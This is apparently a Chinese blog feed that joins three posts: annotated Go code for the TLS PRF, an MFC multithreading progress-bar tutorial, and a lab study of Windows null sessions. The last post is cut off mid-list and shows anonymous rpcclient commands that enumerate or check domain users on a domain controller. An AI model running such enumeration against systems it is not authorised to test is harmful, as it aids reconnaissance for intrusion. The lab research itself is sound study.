<div class="highlight"><pre><span></span><code><span class="c1">//按照RFC中的说明,将pre-master key分成两部分</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">splitPreMasterSecret</span><span class="p">(</span><span class="nx">secret</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">s1</span><span class="p">,</span><span class="w"> </span><span class="nx">s2</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">s1</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">secret</span><span class="p">[</span><span class="mi">0</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="nx">secret</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">]</span>
<span class="w"> </span><span class="nx">s2</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">secret</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="nx">secret</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">:]</span>
<span class="w"> </span><span class="k">return</span>
<span class="p">}</span>
<span class="c1">//实现RFC中提到的P_hash函数</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">pHash</span><span class="p">(</span><span class="nx">result</span><span class="p">,</span><span class="w"> </span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">seed</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">,</span><span class="w"> </span><span class="nx">hash</span><span class="w"> </span><span class="kd">func</span><span class="p">()</span><span class="w"> </span><span class="nx">hash</span><span class="p">.</span><span class="nx">Hash</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//此处的hmac包所实现的函数是前面提到的MAC算法,对消息的hash进行加密,以进行消息发送者身份的验证</span>
<span class="w"> </span><span class="c1">//首先创建出一个hmac对象,它接收连个参数,前者是hash算法,后者是加密使用的key</span>
<span class="w"> </span><span class="nx">h</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">hmac</span><span class="p">.</span><span class="nx">New</span><span class="p">(</span><span class="nx">hash</span><span class="p">,</span><span class="w"> </span><span class="nx">secret</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//seed即为要加密的消息</span>
<span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Write</span><span class="p">(</span><span class="nx">seed</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//a就是最后求得的MAC值</span>
<span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Sum</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
<span class="w"> </span><span class="nx">j</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="c1">//就像我们在文章前面提到的,hmac会进行迭代运算直到满足预定的长度</span>
<span class="w"> </span><span class="c1">//这里的result是填充了指定个数的0的数组</span>
<span class="w"> </span><span class="c1">//等到长度满足要求之后master-key的计算也就完成了</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">j</span><span class="w"> </span><span class="p"><</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">result</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//重置h,清空之前的消息</span>
<span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Reset</span><span class="p">()</span>
<span class="w"> </span><span class="c1">//写入前面计算出来的seed的MAC值</span>
<span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Write</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//根据文章中提到的,每次进行MAC的计算都会加上seed,因此在写入a之后还要再写入seed</span>
<span class="w"> </span><span class="c1">//前面只写了seed是因为A(0)=seed</span>
<span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Write</span><span class="p">(</span><span class="nx">seed</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//代码读到这里我们可以看到go语言的这段代码完全是按照RFC的说明进行实现的</span>
<span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Sum</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//将求得的结果写入result</span>
<span class="w"> </span><span class="nb">copy</span><span class="p">(</span><span class="nx">result</span><span class="p">[</span><span class="nx">j</span><span class="p">:],</span><span class="w"> </span><span class="nx">b</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//记录一下本次写入的长度</span>
<span class="w"> </span><span class="nx">j</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//对于第一次循环,i=1,A(1) = HMAC_hash(secret, A(0)) = HMAC_hash(secret, seed) = a</span>
<span class="w"> </span><span class="c1">//下面的计算是为第二次循环做准备,也就是要求A(2)的值</span>
<span class="w"> </span><span class="c1">//这里求得的a其实就是A(2) = HMAC_hash(secret, A(2-1)) = HMAC_hash(secret, a)</span>
<span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Reset</span><span class="p">()</span>
<span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Write</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
<span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">h</span><span class="p">.</span><span class="nx">Sum</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="c1">//go语言实现的prf函数(这个是TLS 1.0版本),接收四个参数,其中第一个result是传出参数,用于保存计算得到的master-key</span>
<span class="c1">//第二个参数secret是之前计算出来的pre-master key</span>
<span class="c1">//seed字节数组就是client.random + server.random</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">prf10</span><span class="p">(</span><span class="nx">result</span><span class="p">,</span><span class="w"> </span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">label</span><span class="p">,</span><span class="w"> </span><span class="nx">seed</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//sha1和md5都是摘要算法(hash算法)</span>
<span class="w"> </span><span class="nx">hashSHA1</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">sha1</span><span class="p">.</span><span class="nx">New</span>
<span class="w"> </span><span class="nx">hashMD5</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">md5</span><span class="p">.</span><span class="nx">New</span>
<span class="w"> </span><span class="c1">//创建出一个长度为label和seed长度之和的数组,然后将label和seed填充进去</span>
<span class="w"> </span><span class="nx">labelAndSeed</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">([]</span><span class="kt">byte</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">label</span><span class="p">)</span><span class="o">+</span><span class="nb">len</span><span class="p">(</span><span class="nx">seed</span><span class="p">))</span>
<span class="w"> </span><span class="nb">copy</span><span class="p">(</span><span class="nx">labelAndSeed</span><span class="p">,</span><span class="w"> </span><span class="nx">label</span><span class="p">)</span>
<span class="w"> </span><span class="nb">copy</span><span class="p">(</span><span class="nx">labelAndSeed</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="nx">label</span><span class="p">):],</span><span class="w"> </span><span class="nx">seed</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//将pre-master key分成s1和s2两部分</span>
<span class="w"> </span><span class="nx">s1</span><span class="p">,</span><span class="w"> </span><span class="nx">s2</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">splitPreMasterSecret</span><span class="p">(</span><span class="nx">secret</span><span class="p">)</span>
<span class="w"> </span><span class="c1">//将分开之后的pre-master key分别进行pHash运算,将求得的两个值进行异或运算</span>
<span class="w"> </span><span class="nx">pHash</span><span class="p">(</span><span class="nx">result</span><span class="p">,</span><span class="w"> </span><span class="nx">s1</span><span class="p">,</span><span class="w"> </span><span class="nx">labelAndSeed</span><span class="p">,</span><span class="w"> </span><span class="nx">hashMD5</span><span class="p">)</span>
<span class="w"> </span><span class="nx">result2</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">([]</span><span class="kt">byte</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">result</span><span class="p">))</span>
<span class="w"> </span><span class="nx">pHash</span><span class="p">(</span><span class="nx">result2</span><span class="p">,</span><span class="w"> </span><span class="nx">s2</span><span class="p">,</span><span class="w"> </span><span class="nx">labelAndSeed</span><span class="p">,</span><span class="w"> </span><span class="nx">hashSHA1</span><span class="p">)</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">result2</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">result</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="p">^=</span><span class="w"> </span><span class="nx">b</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="c1">//这是TLS 1.2版本的prf实现代码,可以看到和我们文章中描述的是一致的,直接使用pre-master key进行计算,没有进行分割</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">prf12</span><span class="p">(</span><span class="nx">hashFunc</span><span class="w"> </span><span class="kd">func</span><span class="p">()</span><span class="w"> </span><span class="nx">hash</span><span class="p">.</span><span class="nx">Hash</span><span class="p">)</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">result</span><span class="p">,</span><span class="w"> </span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">label</span><span class="p">,</span><span class="w"> </span><span class="nx">seed</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">result</span><span class="p">,</span><span class="w"> </span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">label</span><span class="p">,</span><span class="w"> </span><span class="nx">seed</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">labelAndSeed</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">([]</span><span class="kt">byte</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">label</span><span class="p">)</span><span class="o">+</span><span class="nb">len</span><span class="p">(</span><span class="nx">seed</span><span class="p">))</span>
<span class="w"> </span><span class="nb">copy</span><span class="p">(</span><span class="nx">labelAndSeed</span><span class="p">,</span><span class="w"> </span><span class="nx">label</span><span class="p">)</span>
<span class="w"> </span><span class="nb">copy</span><span class="p">(</span><span class="nx">labelAndSeed</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="nx">label</span><span class="p">):],</span><span class="w"> </span><span class="nx">seed</span><span class="p">)</span>
<span class="w"> </span><span class="nx">pHash</span><span class="p">(</span><span class="nx">result</span><span class="p">,</span><span class="w"> </span><span class="nx">secret</span><span class="p">,</span><span class="w"> </span><span class="nx">labelAndSeed</span><span class="p">,</span><span class="w"> </span><span class="nx">hashFunc</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<h1>后记</h1>
<p>文章中还有很多不够完善的地方(比如<code>write_IV</code>密钥的计算方法以及对https通信进行抓包分析),后面如果有空会再继续进行更新 :)</p>Windows多线程与信号机制2020-11-01T00:00:00+01:002020-11-01T00:00:00+01:0012138tag:None,2020-11-01:windowsduo-xian-cheng-yu-xin-hao-ji-zhi.html<h1>前言</h1>
<p>前几天写了一个MFC程序,但是在写进度条的时候遇到了问题</p>
<p>因为我都放在了主线程中,所以就导致在绘制进度条的时候 …</p><h1>前言</h1>
<p>前几天写了一个MFC程序,但是在写进度条的时候遇到了问题</p>
<p>因为我都放在了主线程中,所以就导致在绘制进度条的时候,程序是卡死的,为了解决这个问题,我百度了一波,最终使用了多线程的方式解决了主线程阻塞的问题</p>
<h1>基础用法</h1>
<p>首先在原有的项目中添加一个头文件:Thread.h,内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#pragma once</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><process.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="cp">#define WM_USER_MSG WM_USER + 1001</span>
<span class="cp">#define WM_USER_FIN WM_USER + 1002</span>
<span class="k">class</span><span class="w"> </span><span class="nc">CThread</span>
<span class="p">{</span>
<span class="k">public</span><span class="o">:</span>
<span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="n">Run</span><span class="p">(</span><span class="kt">void</span><span class="w"> </span><span class="o">*</span><span class="p">);</span>
<span class="k">public</span><span class="o">:</span>
<span class="w"> </span><span class="n">CThread</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="w"> </span><span class="o">~</span><span class="n">CThread</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div>
<p>编写Thread.cpp内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">"StdAfx.h"</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">"Thread.h"</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">CThread::Run</span><span class="p">(</span><span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">lpVoid</span><span class="w"> </span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">HWND</span><span class="w"> </span><span class="n">hWnd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">HWND</span><span class="p">)</span><span class="n">lpVoid</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">100</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="o">::</span><span class="n">PostMessage</span><span class="p">(</span><span class="n">hWnd</span><span class="p">,</span><span class="n">WM_USER_MSG</span><span class="p">,</span><span class="n">WPARAM</span><span class="p">(</span><span class="n">i</span><span class="p">),</span><span class="n">LPARAM</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="w"> </span><span class="n">Sleep</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="o">::</span><span class="n">PostMessage</span><span class="p">(</span><span class="n">hWnd</span><span class="p">,</span><span class="n">WM_USER_FIN</span><span class="p">,</span><span class="n">WPARAM</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span><span class="n">LPARAM</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="w"> </span><span class="n">_endthread</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">CThread</span><span class="o">::</span><span class="n">CThread</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
<span class="n">CThread</span><span class="o">::~</span><span class="n">CThread</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
</code></pre></div>
<p>在主窗口的cpp文件中添加如下消息映射:</p>
<div class="highlight"><pre><span></span><code><span class="n">ON_MESSAGE</span><span class="p">(</span><span class="n">WM_USER_MSG</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">CMFCApplication1Dlg</span><span class="o">::</span><span class="n">OnMsg</span><span class="p">)</span>
<span class="n">ON_MESSAGE</span><span class="p">(</span><span class="n">WM_USER_FIN</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">CMFCApplication1Dlg</span><span class="o">::</span><span class="n">OnFin</span><span class="p">)</span>
</code></pre></div>
<p>第一个消息映射是通知主窗口进行进度条的绘制,第二个消息映射时通知主窗口进度条绘制完毕,触发相应的回调函数</p>
<p>在按钮点击事件中编写如下代码:</p>
<div class="highlight"><pre><span></span><code><span class="n">CProgressCtrl</span><span class="w"> </span><span class="o">*</span><span class="n">prog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">CProgressCtrl</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">GetDlgItem</span><span class="p">(</span><span class="n">IDC_PROGRESS1</span><span class="p">);</span>
<span class="n">prog</span><span class="o">-></span><span class="n">SetRange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">100</span><span class="p">);</span>
<span class="n">_beginthread</span><span class="p">(</span><span class="o">&</span><span class="n">CThread</span><span class="o">::</span><span class="n">Run</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="k">this</span><span class="o">-></span><span class="n">GetSafeHwnd</span><span class="p">());</span>
</code></pre></div>
<p>最终运行效果:</p>
<p><img alt="" src="WINDOWS多线程,信号机制.assets/asdasdasdasdasd.gif"></p>
<p>完整项目解决方案:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/raw/master/MFCApplication1.rar">https://gitee.com/wochinijiamile/smartya/raw/master/MFCApplication1.rar</a></li>
</ul>
<p> </p>
<h1>传参</h1>
<p>上面的示例程序中我们只传了一个参数<code>this->GetSafeHwnd()</code>,<strong><code>_beginthread</code></strong>函数的最后一个参数是一个指针,用于指向传递给第一个参数所指向的函数的参数列表,我去网上搜了一下,都是说使用结构体,但是我在实际操作的时候又总是会遇到这样那样的问题,最后干脆使用了类来传递多个参数</p>
<p>首先新建一个头文件:Share.h,内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#pragma once</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><process.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="k">class</span><span class="w"> </span><span class="nc">CShare</span>
<span class="p">{</span>
<span class="k">public</span><span class="o">:</span>
<span class="w"> </span><span class="n">HWND</span><span class="w"> </span><span class="n">hWnd</span><span class="p">;</span>
<span class="w"> </span><span class="n">CString</span><span class="w"> </span><span class="n">para1</span><span class="p">;</span>
<span class="w"> </span><span class="n">CString</span><span class="w"> </span><span class="n">para2</span><span class="p">;</span>
<span class="w"> </span><span class="n">CShare</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="w"> </span><span class="o">~</span><span class="n">CShare</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div>
<p>然后再创建用于实现的cpp文件:Share.cpp,内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">"StdAfx.h"</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">"Share.h"</span>
<span class="n">CShare</span><span class="o">::</span><span class="n">CShare</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
<span class="n">CShare</span><span class="o">::~</span><span class="n">CShare</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
</code></pre></div>
<p>然后在主窗口类的头文件中新增一个CShare类的成员变量,使用如下方式传参即可:</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">CMFCApplication1Dlg::OnBnClickedOk</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">CProgressCtrl</span><span class="w"> </span><span class="o">*</span><span class="n">prog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">CProgressCtrl</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">GetDlgItem</span><span class="p">(</span><span class="n">IDC_PROGRESS1</span><span class="p">);</span>
<span class="w"> </span><span class="n">prog</span><span class="o">-></span><span class="n">SetRange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">100</span><span class="p">);</span>
<span class="w"> </span><span class="n">HWND</span><span class="w"> </span><span class="n">hwnd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">this</span><span class="o">-></span><span class="n">GetSafeHwnd</span><span class="p">();</span>
<span class="w"> </span><span class="n">CString</span><span class="w"> </span><span class="n">para1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_T</span><span class="p">(</span><span class="s">"我是参数一"</span><span class="p">);</span>
<span class="w"> </span><span class="n">CString</span><span class="w"> </span><span class="n">para2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_T</span><span class="p">(</span><span class="s">"我是参数二"</span><span class="p">);</span>
<span class="w"> </span><span class="n">cshare</span><span class="p">.</span><span class="n">para1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">para1</span><span class="p">;</span>
<span class="w"> </span><span class="n">cshare</span><span class="p">.</span><span class="n">para2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">para2</span><span class="p">;</span>
<span class="w"> </span><span class="n">cshare</span><span class="p">.</span><span class="n">hWnd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">hwnd</span><span class="p">;</span>
<span class="w"> </span><span class="n">_beginthread</span><span class="p">(</span><span class="o">&</span><span class="n">CThread</span><span class="o">::</span><span class="n">Run</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">cshare</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>Thread.cpp中接受参数的代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">CThread::Run</span><span class="p">(</span><span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">lpVoid</span><span class="w"> </span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="c1">//强制类型转换</span>
<span class="w"> </span><span class="n">HWND</span><span class="w"> </span><span class="n">hWnd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((</span><span class="n">CShare</span><span class="o">*</span><span class="p">)</span><span class="n">lpVoid</span><span class="p">)</span><span class="o">-></span><span class="n">hWnd</span><span class="p">;</span>
<span class="w"> </span><span class="n">CString</span><span class="w"> </span><span class="n">para1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((</span><span class="n">CShare</span><span class="o">*</span><span class="p">)</span><span class="n">lpVoid</span><span class="p">)</span><span class="o">-></span><span class="n">para1</span><span class="p">;</span>
<span class="w"> </span><span class="n">CString</span><span class="w"> </span><span class="n">para2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((</span><span class="n">CShare</span><span class="o">*</span><span class="p">)</span><span class="n">lpVoid</span><span class="p">)</span><span class="o">-></span><span class="n">para2</span><span class="p">;</span>
<span class="w"> </span><span class="n">AfxMessageBox</span><span class="p">(</span><span class="n">para1</span><span class="p">);</span>
<span class="w"> </span><span class="n">AfxMessageBox</span><span class="p">(</span><span class="n">para2</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">100</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="o">::</span><span class="n">PostMessage</span><span class="p">(</span><span class="n">hWnd</span><span class="p">,</span><span class="n">WM_USER_MSG</span><span class="p">,</span><span class="n">WPARAM</span><span class="p">(</span><span class="n">i</span><span class="p">),</span><span class="n">LPARAM</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="w"> </span><span class="n">Sleep</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="o">::</span><span class="n">PostMessage</span><span class="p">(</span><span class="n">hWnd</span><span class="p">,</span><span class="n">WM_USER_FIN</span><span class="p">,</span><span class="n">WPARAM</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span><span class="n">LPARAM</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="w"> </span><span class="n">_endthread</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>
<p>最终运行效果:</p>
<p><img alt="asdsa" src="WINDOWS多线程,信号机制.assets/asdsa.gif"></p>
<p>完整项目解决方案:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/raw/master/wsdfdfghbngm.zip">https://gitee.com/wochinijiamile/smartya/raw/master/wsdfdfghbngm.zip</a></li>
</ul>
<h1>后记</h1>
<p>不足之处还望指出</p>关于windows空会话的一些研究2020-10-18T00:00:00+02:002020-10-18T00:00:00+02:0012138tag:None,2020-10-18:guan-yu-windowskong-hui-hua-de-yi-xie-yan-jiu.html<h1>前言</h1>
<p>在这篇文章中我们探讨一下windows空会话</p>
<p>参考链接:</p>
<ul>
<li><a href="https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/">https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/</a></li>
</ul>
<h1>抓包分析</h1>
<p>使用<code>rpcclient</code>尝试建立空连接并调用<code>querydispinfo</code>方法</p>
<div class="highlight"><pre><span></span><code>rpcclient<span class="w"> </span>-U<span class="s1">'%'</span><span class="w"> </span><span class="m">192</span>.168.60 …</code></pre></div><h1>前言</h1>
<p>在这篇文章中我们探讨一下windows空会话</p>
<p>参考链接:</p>
<ul>
<li><a href="https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/">https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/</a></li>
</ul>
<h1>抓包分析</h1>
<p>使用<code>rpcclient</code>尝试建立空连接并调用<code>querydispinfo</code>方法</p>
<div class="highlight"><pre><span></span><code>rpcclient<span class="w"> </span>-U<span class="s1">'%'</span><span class="w"> </span><span class="m">192</span>.168.60.160<span class="w"> </span>-c<span class="w"> </span><span class="s1">'querydispinfo'</span>
</code></pre></div>
<p>返回<code>NT_STATUS_ACCESS_DENIED</code> </p>
<p>从抓包结果上分析,认证和授权这两个部分是分开的</p>
<p><img alt="1603184650425" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ayVEIXfuAL.jpg"></p>
<p>可以看到在执行<code>Connect5</code>方法时已经开始报出<code>STATUS_ACCES_DEBIED</code>错误,根据<a href="https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/Windows_Protocols.zip">微软官方文档</a>对<code>SAMR</code>协议的描述并对比连接成功时的数据包,可以看出来客户端会逐一尝试Connect方法,直到Connect2失败,结束请求,返回错误</p>
<p>你可以认证到<code>ipc$</code>共享上,也可以打开<code>ipc$</code>共享,但是你没办法在其所暴露出来的<code>samr</code>这个命名管道上调用<code>QueryDisplayInfo</code>方法,也就是说你可以建立空连接,但是你无法执行特定的RPC方法</p>
<p>这里描述了各命名管道上能够调用的方法:</p>
<ul>
<li><a href="https://manpages.debian.org/testing/smbclient/rpcclient.1.en.html">https://manpages.debian.org/testing/smbclient/rpcclient.1.en.html</a></li>
</ul>
<p>使用nmap的 smb-enum-users脚本可以枚举出远程系统的所有用户,有时间我要研究一下这个脚本是怎么回事</p>
<p><img alt="image1" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YiQXUYqxLB.jpg"></p>
<p>但是我本地复现时无法枚举远程系统的用户,<strong>网上搜了一下,说是需要使用比较老的nmap版本</strong></p>
<p>我尝试找了一下<a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously">哪些管道可以进行匿名连接</a>,还有就是在这些管道上可以调用哪些方法</p>
<p>最后我锁定了<code>netlogon</code>管道上的<code>GetDcName</code>, <code>DsrGetDcName</code>, <code>DsrGetDcNameEx</code>和<code>DsrGetDcNameEx2</code>这些方法</p>
<p>这些方法可以被用来检测在DC中是否存在特定的用户</p>
<h2>直接调用DsrGetDcNameEx2方法</h2>
<p>先用<code>rpcclient</code>工具执行如下命令调用<code>DsrGetDcNameEx2</code>方法</p>
<div class="highlight"><pre><span></span><code>rpcclient<span class="w"> </span><span class="m">192</span>.168.60.160<span class="w"> </span>-U<span class="s1">'%'</span><span class="w"> </span>-c<span class="w"> </span><span class="s1">'dsr_getdcnameex2 Administrator 512 domain2.com'</span>
</code></pre></div>
<ul>
<li>192.168.60.160是DC</li>
<li>domain2.com是域名</li>
<li>Administrator 是我们要验证是否存在的用户名</li>
